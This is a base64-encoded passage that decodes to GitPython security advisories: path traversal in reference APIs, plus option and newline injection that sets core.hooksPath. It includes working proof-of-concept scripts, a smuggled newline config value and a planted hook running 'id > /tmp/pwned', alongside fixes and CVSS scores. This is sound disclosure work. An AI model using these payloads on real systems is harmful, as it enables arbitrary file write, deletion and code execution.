jIyBJbXBhY3QKCkFueSBhcHBsaWNhdGlvbiBwYXNzaW5nIHVzZXIgaW5wdXQgdG8gYG11bHRpX29wdGlvbnNgIGluIGBjbG9uZV9mcm9tKClgLCBgY2xvbmUoKWAsIG9yIGBTdWJtb2R1bGUudXBkYXRlKClgIGlzIHZ1bG5lcmFibGUuIEF0dGFja2VyIGVtYmVkcyBgLS1jb25maWcgY29yZS5ob29rc1BhdGg9PGRpcj5gIGluc2lkZSBhIHN0cmluZyBzdGFydGluZyB3aXRoIGEgc2FmZSBvcHRpb24uIENoZWNrIGRvZXMgbm90IGJsb2NrIGl0LiBHaXQgZXhlY3V0ZXMgYXR0YWNrZXIgY29kZS4gU2FtZSBjbGFzcyBhcyBDVkUtMjAyMy00MDI2Ny4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA4LjEgLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzozLjEvQVY6Ti9BQzpIL1BSOk4vVUk6Ti9TOlUvQzpIL0k6SC9BOkhgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EteDJxeC02OTUzLTg0ODVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXgycXgtNjk1My04NDg1KQotIFtodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00MjI4NF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNDIyODQpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjQ3KQotIFtodHRwczovL3d3dy50ZW5hYmxlLmNvbS9jdmUvQ1ZFLTIwMjYtMzI2ODZdKGh0dHBzOi8vd3d3LnRlbmFibGUuY29tL2N2ZS9DVkUtMjAyNi0zMjY4NikKLSBbaHR0cHM6Ly9naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS14MnF4LTY5NTMtODQ4NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS14MnF4LTY5NTMtODQ4NSkKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSB0aGUgW0dpdEh1YiBBZHZpc29yeSBEYXRhYmFzZV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS14MnF4LTY5NTMtODQ4NSkgKFtDQy1CWSA0LjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UvYmxvYi9tYWluL0xJQ0VOU0UubWQpKS4KPC9kZXRhaWxzPgoKLS0tCgojIyMgR2l0UHl0aG9uIHJlZmVyZW5jZSBBUElzIGhhcyBhIHBhdGggdHJhdmVyc2FsIHZ1bG5lcmFiaWxpdHkgdGhhdCBhbGxvd3MgYXJiaXRyYXJ5IGZpbGUgd3JpdGUgYW5kIGRlbGV0ZSBvdXRzaWRlIHRoZSByZXBvc2l0b3J5CltDVkUtMjAyNi00NDI0M10oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNDQyNDMpIC8gW0dIU0EtNzU0NS1mY3hxLTdqMjRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9hZHZpc29yaWVzL0dIU0EtNzU0NS1mY3hxLTdqMjQpCgo8ZGV0YWlscz4KPHN1bW1hcnk+TW9yZSBpbmZvcm1hdGlvbjwvc3VtbWFyeT4KCiMjIyMgRGV0YWlscwojIyMjIyDwn6e+IFN1bW1hcnkKCkEgdnVsbmVyYWJpbGl0eSBpbiAqKkdpdFB5dGhvbioqIGFsbG93cyAqKmF0dGFja2VycyB3aG8gY2FuIHN1cHBseSBhIGNyYWZ0ZWQgcmVmZXJlbmNlIHBhdGggdG8gYW4gYXBwbGljYXRpb24gdXNpbmcgR2l0UHl0aG9uKiogdG8gKip3cml0ZSwgb3ZlcndyaXRlLCBtb3ZlLCBvciBkZWxldGUgZmlsZXMgb3V0c2lkZSB0aGUgcmVwb3NpdG9yeeKAmXMgYC5naXRgIGRpcmVjdG9yeSoqIHZpYSAqKmluc3VmZmljaWVudCB2YWxpZGF0aW9uIG9mIHJlZmVyZW5jZSBwYXRocyBpbiByZWZlcmVuY2UgY3JlYXRpb24sIHJlbmFtZSwgYW5kIGRlbGV0ZSBvcGVyYXRpb25zKiouCgotLS0KCiMjIyMjIPCfk6YgQWZmZWN0ZWQgVmVyc2lvbnMKCiogQWZmZWN0ZWQ6IGA8PSAzLjEuNDZgIGFuZCBjdXJyZW50IGBtYWluYCAoYDMuMS40N2AgaW4gbG9jYWwgY2hlY2tvdXQpCgotLS0KCiMjIyMjIPCfp6AgRGV0YWlscwoKIyMjIyMgVnVsbmVyYWJpbGl0eSBUeXBlCgoqKlBhdGggVHJhdmVyc2FsIGxlYWRpbmcgdG8gQXJiaXRyYXJ5IEZpbGUgV3JpdGUgYW5kIEFyYml0cmFyeSBGaWxlIERlbGV0aW9uKioKCi0tLQoKIyMjIyMgUm9vdCBDYXVzZQoKUmVmZXJlbmNlIHBhdGhzIGFyZSB2YWxpZGF0ZWQgd2hlbiB0aGV5IGFyZSByZXNvbHZlZCBmb3IgcmVhZGluZywgYnV0IGFyZSBub3QgY29uc2lzdGVudGx5IHZhbGlkYXRlZCBiZWZvcmUgZmlsZXN5c3RlbSB3cml0ZSwgcmVuYW1lLCBhbmQgZGVsZXRlIG9wZXJhdGlvbnMuCgpgU3ltYm9saWNSZWZlcmVuY2UuX2NoZWNrX3JlZl9uYW1lX3ZhbGlkKClgIHJlamVjdHMgdHJhdmVyc2FsIHNlcXVlbmNlcyBzdWNoIGFzIGAuLmAsIGJ1dCBgU3ltYm9saWNSZWZlcmVuY2UuY3JlYXRlYCwgYFJlZmVyZW5jZS5jcmVhdGVgLCBgU3ltYm9saWNSZWZlcmVuY2Uuc2V0X3JlZmVyZW5jZWAsIGBTeW1ib2xpY1JlZmVyZW5jZS5yZW5hbWVgLCBhbmQgYFN5bWJvbGljUmVmZXJlbmNlLmRlbGV0ZWAgc3RpbGwgY29uc3RydWN0IGZpbGVzeXN0ZW0gcGF0aHMgZnJvbSBhdHRhY2tlci1jb250cm9sbGVkIHJlZiBuYW1lcyB3aXRob3V0IGVuZm9yY2luZyByZXBvc2l0b3J5IGJvdW5kYXJpZXMuCgotLS0KCiMjIyMjIEFmZmVjdGVkIENvZGUKCmBgYHB5dGhvbgpkZWYgc2V0X3JlZmVyZW5jZShzZWxmLCByZWYsIGxvZ21zZz1Ob25lKToKICAgIC4uLgogICAgZnBhdGggPSBzZWxmLmFic3BhdGgKICAgIGFzc3VyZV9kaXJlY3RvcnlfZXhpc3RzKGZwYXRoLCBpc19maWxlPVRydWUpCgogICAgbGZkID0gTG9ja2VkRkQoZnBhdGgpCiAgICBmZCA9IGxmZC5vcGVuKHdyaXRlPVRydWUsIHN0cmVhbT1UcnVlKQogICAgLi4uCmBgYAoKYGBgcHl0aG9uCkBjbGFzc21ldGhvZApkZWYgZGVsZXRlKGNscywgcmVwbywgcGF0aCk6CiAgICBmdWxsX3JlZl9wYXRoID0gY2xzLnRvX2Z1bGxfcGF0aChwYXRoKQogICAgYWJzX3BhdGggPSBvcy5wYXRoLmpvaW4ocmVwby5jb21tb25fZGlyLCBmdWxsX3JlZl9wYXRoKQogICAgaWYgb3MucGF0aC5leGlzdHMoYWJzX3BhdGgpOgogICAgICAgIG9zLnJlbW92ZShhYnNfcGF0aCkKYGBgCgpgYGBweXRob24KZGVmIHJlbmFtZShzZWxmLCBuZXdfcGF0aCwgZm9yY2U9RmFsc2UpOgogICAgbmV3X3BhdGggPSBzZWxmLnRvX2Z1bGxfcGF0aChuZXdfcGF0aCkKICAgIG5ld19hYnNfcGF0aCA9IG9zLnBhdGguam9pbihfZ2l0X2RpcihzZWxmLnJlcG8sIG5ld19wYXRoKSwgbmV3X3BhdGgpCiAgICBjdXJfYWJzX3BhdGggPSBvcy5wYXRoLmpvaW4oX2dpdF9kaXIoc2VsZi5yZXBvLCBzZWxmLnBhdGgpLCBzZWxmLnBhdGgpCiAgICAuLi4KICAgIG9zLnJlbmFtZShjdXJfYWJzX3BhdGgsIG5ld19hYnNfcGF0aCkKYGBgCgotLS0KCiMjIyMjIEF0dGFjayBWZWN0b3IKCioqTG9jYWwgYXR0YWNrIHRocm91Z2ggYXBwbGljYXRpb24tY29udHJvbGxlZCBpbnB1dCBwYXNzZWQgaW50byBHaXRQeXRob24gcmVmZXJlbmNlIEFQSXMqKgoKIyMjIyMgQXV0aGVudGljYXRpb24gUmVxdWlyZWQKCioqTm9uZSBhdCB0aGUgbGlicmFyeSBib3VuZGFyeS4gSW4gcHJhY3RpY2UsIGV4cGxvaXRhdGlvbiByZXF1aXJlcyB0aGUgYWJpbGl0eSB0byBpbmZsdWVuY2UgcmVmIG5hbWVzIHN1cHBsaWVkIGJ5IHRoZSBjb25zdW1pbmcgYXBwbGljYXRpb24uKioKCi0tLQoKIyMjIyMg8J+nqiBQcm9vZiBvZiBDb25jZXB0CgojIyMjIyBTZXR1cAoKYGBgYmFzaApwaXAgaW5zdGFsbCBHaXRQeXRob249PTMuMS40NgpweXRob24gcG9jLnB5CmBgYAoKLS0tCgojIyMjIyBFeHBsb2l0CgpgYGBweXRob24KaW1wb3J0IHNodXRpbApmcm9tIHBhdGhsaWIgaW1wb3J0IFBhdGgKCmZyb20gZ2l0IGltcG9ydCBSZXBvCmZyb20gZ2l0LnJlZnMucmVmZXJlbmNlIGltcG9ydCBSZWZlcmVuY2UKZnJvbSBnaXQucmVmcy5zeW1ib2xpYyBpbXBvcnQgU3ltYm9saWNSZWZlcmVuY2UKCmJhc2UgPSBQYXRoKCJncC1naHNhLXBvYyIpLnJlc29sdmUoKQppZiBiYXNlLmV4aXN0cygpOgogICAgc2h1dGlsLnJtdHJlZShiYXNlKQoKcmVwb19kaXIgPSBiYXNlIC8gInJlcG8iCnJlcG8gPSBSZXBvLmluaXQocmVwb19kaXIpCgoocmVwb19kaXIgLyAiYS50eHQiKS53cml0ZV90ZXh0KCJpbml0XG4iLCBlbmNvZGluZz0idXRmLTgiKQpyZXBvLmluZGV4LmFkZChbImEudHh0Il0pCnJlcG8uaW5kZXguY29tbWl0KCJpbml0IikKCm91dHNpZGVfd3JpdGUgPSBiYXNlIC8gIm91dHNpZGVfd3JpdGUudHh0IgpvdXRzaWRlX2RlbGV0ZSA9IGJhc2UgLyAib3V0c2lkZV9kZWxldGUudHh0IgpvdXRzaWRlX2RlbGV0ZS53cml0ZV90ZXh0KCJERUxFVEUgTUVcbiIsIGVuY29kaW5nPSJ1dGYtOCIpCgpwcmludChmInJlcG9fZGlyICAgICAgID0ge3JlcG9fZGlyfSIpCnByaW50KGYib3V0c2lkZV93cml0ZSAgPSB7b3V0c2lkZV93cml0ZX0iKQpwcmludChmIm91dHNpZGVfZGVsZXRlID0ge291dHNpZGVfZGVsZXRlfSIpCgpSZWZlcmVuY2UuY3JlYXRlKHJlcG8sICIuLi8uLi8uLi9vdXRzaWRlX3dyaXRlLnR4dCIsICJIRUFEIikKCnByaW50KCJcblsrXSBvdXRzaWRlX3dyaXRlIGV4aXN0czoiLCBvdXRzaWRlX3dyaXRlLmV4aXN0cygpKQppZiBvdXRzaWRlX3dyaXRlLmV4aXN0cygpOgogICAgcHJpbnQoIlsrXSBvdXRzaWRlX3dyaXRlIGNvbnRlbnQ6IikKICAgIHByaW50KG91dHNpZGVfd3JpdGUucmVhZF90ZXh0KGVuY29kaW5nPSJ1dGYtOCIpKQoKU3ltYm9saWNSZWZlcmVuY2UuZGVsZXRlKHJlcG8sICIuLi8uLi8uLi9vdXRzaWRlX2RlbGV0ZS50eHQiKQoKcHJpbnQoIlxuWytdIG91dHNpZGVfZGVsZXRlIGV4aXN0cyBhZnRlciBkZWxldGU6Iiwgb3V0c2lkZV9kZWxldGUuZXhpc3RzKCkpCmBgYAoKLS0tCgojIyMjIyBSZXN1bHQKCmBgYHRleHQKcmVwb19kaXIgICAgICAgPSAuLi5cZ3AtZ2hzYS1wb2NccmVwbwpvdXRzaWRlX3dyaXRlICA9IC4uLlxncC1naHNhLXBvY1xvdXRzaWRlX3dyaXRlLnR4dApvdXRzaWRlX2RlbGV0ZSA9IC4uLlxncC1naHNhLXBvY1xvdXRzaWRlX2RlbGV0ZS50eHQKClsrXSBvdXRzaWRlX3dyaXRlIGV4aXN0czogVHJ1ZQpbK10gb3V0c2lkZV93cml0ZSBjb250ZW50Ogo8Y3VycmVudCBIRUFEIGNvbW1pdCBTSEE+CgpbK10gb3V0c2lkZV9kZWxldGUgZXhpc3RzIGFmdGVyIGRlbGV0ZTogRmFsc2UKYGBgCgotLS0KCiMjIyMjIPCfkqUgSW1wYWN0CgojIyMjIyBXaGF0IGNhbiBhbiBhdHRhY2tlciBkbz8KCiogQ3JlYXRlIG9yIG92ZXJ3cml0ZSBmaWxlcyBvdXRzaWRlIHRoZSByZXBvc2l0b3J5IG1ldGFkYXRhIGRpcmVjdG9yeQoqIERlbGV0ZSBhdHRhY2tlci1jaG9zZW4gZmlsZXMgcmVhY2hhYmxlIGZyb20gdGhlIHByb2Nlc3MgcGVybWlzc2lvbnMKKiBDb3JydXB0IGFwcGxpY2F0aW9uIHN0YXRlIG9yIGNvbmZpZ3VyYXRpb24gZmlsZXMKKiBDYXVzZSBkZW5pYWwgb2Ygc2VydmljZSBieSBkZWxldGluZyBvciBvdmVyd3JpdGluZyBpbXBvcnRhbnQgZmlsZXMKCi0tLQoKIyMjIyMgU2VjdXJpdHkgSW1wYWN0CgoqICoqQ29uZmlkZW50aWFsaXR5OioqIExvdwoqICoqSW50ZWdyaXR5OioqIEhpZ2gKKiAqKkF2YWlsYWJpbGl0eToqKiBIaWdoCgotLS0KCiMjIyMjIFdobyBpcyBhZmZlY3RlZD8KCiogQXBwbGljYXRpb25zIHRoYXQgZXhwb3NlIEdpdFB5dGhvbiByZWZlcmVuY2Ugb3BlcmF0aW9ucyB0byB1c2VyLWNvbnRyb2xsZWQgaW5wdXQKKiBHaXQgYXV0b21hdGlvbiBzZXJ2aWNlcywgcmVwb3NpdG9yeSBtYW5hZ2VtZW50IGJhY2tlbmRzLCBDSS9DRCBoZWxwZXJzLCBhbmQgZGV2ZWxvcGVyIHBsYXRmb3JtcwoqIE11bHRpLXVzZXIgZW52aXJvbm1lbnRzIHdoZXJlIG9uZSB1c2VyIGNhbiBpbmZsdWVuY2UgcmVmIG5hbWVzIHByb2Nlc3NlZCBvbiBiZWhhbGYgb2YgYW5vdGhlciB3b3JrZmxvdwoKLS0tCgojIyMjIyDwn5ug77iPIE1pdGlnYXRpb24gLyBGaXgKCiMjIyMjIFJlY29tbWVuZGVkIEZpeAoKYGBgcHl0aG9uCmRlZiBfdmFsaWRhdGVfcmVmX3dyaXRlX3BhdGgocmVwbywgcGF0aCwgKiwgZm9yX2dpdF9kaXI9RmFsc2UpOgogICAgU3ltYm9saWNSZWZlcmVuY2UuX2NoZWNrX3JlZl9uYW1lX3ZhbGlkKHBhdGgpCgogICAgYmFzZSA9IFBhdGgocmVwby5naXRfZGlyIGlmIGZvcl9naXRfZGlyIGVsc2UgcmVwby5jb21tb25fZGlyKS5yZXNvbHZlKCkKICAgIHRhcmdldCA9IChiYXNlIC8gcGF0aCkucmVzb2x2ZSgpCgogICAgaWYgYmFzZSBub3QgaW4gW3RhcmdldCwgKnRhcmdldC5wYXJlbnRzXToKICAgICAgICByYWlzZSBWYWx1ZUVycm9yKGYiUmVmZXJlbmNlIHBhdGggZXNjYXBlcyByZXBvc2l0b3J5IGJvdW5kYXJ5OiB7cGF0aH0iKQoKICAgIHJldHVybiBzdHIodGFyZ2V0KQpgYGAKCmBgYHB5dGhvbgpmdWxsX3JlZl9wYXRoID0gY2xzLnRvX2Z1bGxfcGF0aChwYXRoKQpfdmFsaWRhdGVfcmVmX3dyaXRlX3BhdGgocmVwbywgZnVsbF9yZWZfcGF0aCkKYGBgCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogNy44IC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6NC4wL0FWOk4vQUM6TC9BVDpOL1BSOk4vVUk6Ti9WQzpOL1ZJOkgvVkE6SC9TQzpOL1NJOk4vU0E6Ti9FOlBgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtNzU0NS1mY3hxLTdqMjRdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLTc1NDUtZmN4cS03ajI0KQotIFtodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00NDI0M10oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNDQyNDMpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40OF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjQ4KQotIFtodHRwczovL2dpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTc1NDUtZmN4cS03ajI0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTc1NDUtZmN4cS03ajI0KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLTc1NDUtZmN4cS03ajI0KSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob246IE5ld2xpbmUgaW5qZWN0aW9uIGluIGNvbmZpZ193cml0ZXIoKS5zZXRfdmFsdWUoKSBlbmFibGVzIFJDRSB2aWEgY29yZS5ob29rc1BhdGgKW0NWRS0yMDI2LTQ0MjQ0XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00NDI0NCkgLyBbR0hTQS12ODdyLTZxM2YtMmo2N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS12ODdyLTZxM2YtMmo2NykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCmBHaXRDb25maWdQYXJzZXIuc2V0X3ZhbHVlKClgIHBhc3NlcyB2YWx1ZXMgdG8gUHl0aG9uJ3MgYGNvbmZpZ3BhcnNlcmAgd2l0aG91dCB2YWxpZGF0aW5nIGZvciBuZXdsaW5lcy4gR2l0UHl0aG9uJ3Mgb3duIGBfd3JpdGUoKWAgY29udmVydHMgZW1iZWRkZWQgbmV3bGluZXMgaW50byBpbmRlbnRlZCBjb250aW51YXRpb24gbGluZXMgKGUuZy4gYFxuYCBiZWNvbWVzIGBcblx0YCksIGJ1dCBHaXQgc3RpbGwgYWNjZXB0cyBhbiBpbmRlbnRlZCBgW2NvcmVdYCBzdGFuemEgYXMgYSBzZWN0aW9uIGhlYWRlciDigJQgc28gdGhlIGluamVjdGVkIGBjb3JlLmhvb2tzUGF0aGAgYmVjb21lcyBlZmZlY3RpdmUgY29uZmlndXJhdGlvbi4gQW55IEdpdCBvcGVyYXRpb24gdGhhdCBpbnZva2VzIGhvb2tzIChjb21taXQsIG1lcmdlLCBjaGVja291dCkgd2lsbCB0aGVuIGV4ZWN1dGUgc2NyaXB0cyBmcm9tIHRoZSBhdHRhY2tlci1jb250cm9sbGVkIHBhdGguCgpUaGUgdnVsbmVyYWJpbGl0eSBpcyBub3QgbWVyZWx5IG1hbGZvcm1lZCBjb25maWcgb3V0cHV0OiBHaXRQeXRob24ncyBvd24gd3JpdGVyIGNvbnZlcnRzIGVtYmVkZGVkIG5ld2xpbmVzIGludG8gaW5kZW50ZWQgY29udGludWF0aW9uIGxpbmVzLCBidXQgR2l0IHN0aWxsIGFjY2VwdHMgYW4gaW5kZW50ZWQgYFtjb3JlXWAgc3RhbnphIGFzIGEgc2VjdGlvbiBoZWFkZXIsIHNvIHRoZSBpbmplY3RlZCBgY29yZS5ob29rc1BhdGhgIGJlY29tZXMgZWZmZWN0aXZlIGNvbmZpZ3VyYXRpb24uCgpUaGlzIHdhcyBmb3VuZCB3aGlsZSBhdWRpdGluZyBNTFJ1bidzIGBwcm9qZWN0LnB1c2goKWAgbWV0aG9kLCB3aGljaCBwYXNzZXMgYGF1dGhvcl9uYW1lYCBhbmQgYGF1dGhvcl9lbWFpbGAgZGlyZWN0bHkgdG8gYGNvbmZpZ193cml0ZXIoKS5zZXRfdmFsdWUoKWAgd2l0aCBubyBzYW5pdGl6YXRpb24uIEJvdGggcGFyYW1ldGVycyBjcm9zcyBhIHRydXN0IGJvdW5kYXJ5IOKAlCB0aGV5IGFyZSBjYWxsZXItc3VwcGxpZWQgQVBJIGlucHV0cyB0aGF0IGVuZCB1cCBpbiBgLmdpdC9jb25maWdgLgoKUG9DIChzdGFuZGFsb25lLCBubyBNTFJ1biByZXF1aXJlZCk6CgpgYGBweXRob24KaW1wb3J0IGdpdCwgc3VicHJvY2Vzcywgb3MKCnJlcG8gPSBnaXQuUmVwbygiL3RtcC90ZXN0cmVwbyIpCgp3aXRoIHJlcG8uY29uZmlnX3dyaXRlcigpIGFzIGN3OgogICAgY3cuc2V0X3ZhbHVlKCJ1c2VyIiwgIm5hbWUiLCAiZm9vXG5bY29yZV1cbmhvb2tzUGF0aD0vdG1wL2hvb2tzIikKCnIgPSBzdWJwcm9jZXNzLnJ1bihbImdpdCIsICJjb25maWciLCAiY29yZS5ob29rc1BhdGgiXSwgY3dkPSIvdG1wL3Rlc3RyZXBvIiwgY2FwdHVyZV9vdXRwdXQ9VHJ1ZSwgdGV4dD1UcnVlKQphc3NlcnQgci5yZXR1cm5jb2RlID09IDAKcHJpbnQoci5zdGRvdXQuc3RyaXAoKSkgICMgL3RtcC9ob29rcwoKb3MubWFrZWRpcnMoIi90bXAvaG9va3MiLCBleGlzdF9vaz1UcnVlKQpvcGVuKCIvdG1wL2hvb2tzL3ByZS1jb21taXQiLCAidyIpLndyaXRlKCIjIS9iaW4vc2hcbmlkID4gL3RtcC9wd25lZFxuIikKb3MuY2htb2QoIi90bXAvaG9va3MvcHJlLWNvbW1pdCIsIDBvNzU1KQoKcmVwby5pbmRleC5hZGQoWyJSRUFETUUiXSkKcmVwby5naXQuY29tbWl0KG09InRlc3QiKQpwcmludChvcGVuKCIvdG1wL3B3bmVkIikucmVhZCgpKSAgIyB1aWQ9Li4uCmBgYAoKVGVzdGVkIG9uIEdpdFB5dGhvbiAzLjEuNDYsIGdpdCAyLjM5Ky4KCkltcGFjdDogVGhpcyBpcyBwZXJzaXN0ZW50IHJlcG8gY29uZmlnIHBvaXNvbmluZy4gQW55IHVzZXIgd2hvIGNhbiBzdXBwbHkgYGF1dGhvcl9uYW1lYCBvciBgYXV0aG9yX2VtYWlsYCB0byBhbiBhcHBsaWNhdGlvbiBjYWxsaW5nIGBjb25maWdfd3JpdGVyKCkuc2V0X3ZhbHVlKClgIGNhbiByZWRpcmVjdCBHaXQgaG9vayBleGVjdXRpb24gdG8gYW4gYXJiaXRyYXJ5IHBhdGguIEluIGEgbXVsdGktdXNlciBvciBob3N0ZWQgZW52aXJvbm1lbnQgKGUuZy4gYSBzaGFyZWQgTUxSdW4gc2VydmVyIHdoZXJlIG11bHRpcGxlIHVzZXJzIHB1c2ggdG8gdGhlIHNhbWUgcmVwb3NpdG9yaWVzKSwgb25lIHVzZXIgY2FuIHBvaXNvbiB0aGUgYC5naXQvY29uZmlnYCBvZiBhIHNoYXJlZCByZXBvIGFuZCBoYXZlIHRoZWlyIGhvb2tzIHJ1biBpbiB0aGUgY29udGV4dCBvZiBldmVyeSBzdWJzZXF1ZW50IEdpdCBvcGVyYXRpb24gYnkgYW55IHVzZXIuIE9uIHNpbmdsZS11c2VyIGRlcGxveW1lbnRzLCB0aGUgaW1wYWN0IGRlcGVuZHMgb24gd2hldGhlciB0aGUgYXBwbGljYXRpb24gbGF0ZXIgaW52b2tlcyBHaXQgaG9va3MgYXV0b21hdGljYWxseS4KClJlbWVkaWF0aW9uOiBgc2V0X3ZhbHVlKClgIHNob3VsZCByYWlzZSBvbiBDUiwgTEYsIG9yIE5VTCBpbiB2YWx1ZXMgcmF0aGVyIHRoYW4gc2lsZW50bHkgcGFzcyB0aGVtIHRocm91Z2g6CgpgYGBweXRob24KaW1wb3J0IHJlCgppZiBpc2luc3RhbmNlKHZhbHVlLCAoc3RyLCBieXRlcykpIGFuZCByZS5zZWFyY2gociJbXHJcblx4MDBdIiwgc3RyKHZhbHVlKSk6CiAgICByYWlzZSBWYWx1ZUVycm9yKCJHaXQgY29uZmlnIHZhbHVlcyBtdXN0IG5vdCBjb250YWluIENSLCBMRiwgb3IgTlVMIikKYGBgCgpSZWplY3RpbmcgaXMgc2FmZXIgdGhhbiBzdHJpcHBpbmcg4oCUIGEgc3RyaXBwZWQgbmV3bGluZSBtaWdodCBpbmRpY2F0ZSB0aGUgY2FsbGVyIGlzIHBhc3NpbmcgdW5zYW5pdGl6ZWQgaW5wdXQgYXQgYSBoaWdoZXIgbGV2ZWwsIGFuZCBzaWxlbnQgbm9ybWFsaXphdGlvbiBtYXNrcyB0aGF0LgoKQWZmZWN0ZWQgd2hlcmV2ZXIgYGNvbmZpZ193cml0ZXIoKS5zZXRfdmFsdWUoc2VjdGlvbiwga2V5LCB1c2VyX2lucHV0KWAgaXMgY2FsbGVkIHdpdGggZXh0ZXJuYWwgaW5wdXQuKiogR2l0UHl0aG9uIGlzIGEgZGVwZW5kZW5jeSBvZiBEVkMsIE1MZmxvdywgS2Vkcm8sIGFuZCBvdGhlcnMg4oCUIHdvcnRoIGF1ZGl0aW5nIHRoZWlyIGBzZXRfdmFsdWUoKWAgY2FsbCBzaXRlcyBmb3IgZXh0ZXJuYWxseSBpbmZsdWVuY2VkIGlucHV0cy4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA3LjggLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzozLjEvQVY6TC9BQzpML1BSOkwvVUk6Ti9TOlUvQzpIL0k6SC9BOkhgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0Etdjg3ci02cTNmLTJqNjddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLXY4N3ItNnEzZi0yajY3KQotIFtodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00NDI0NF0oaHR0cHM6Ly9udmQubmlzdC5nb3YvdnVsbi9kZXRhaWwvQ1ZFLTIwMjYtNDQyNDQpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcmVsZWFzZXMvdGFnLzMuMS40OV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjQ5KQotIFtodHRwczovL2dpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXY4N3ItNnEzZi0yajY3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXY4N3ItNnEzZi0yajY3KQoKVGhpcyBkYXRhIGlzIHByb3ZpZGVkIGJ5IHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYWR2aXNvcmllcy9HSFNBLXY4N3ItNnEzZi0yajY3KSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTE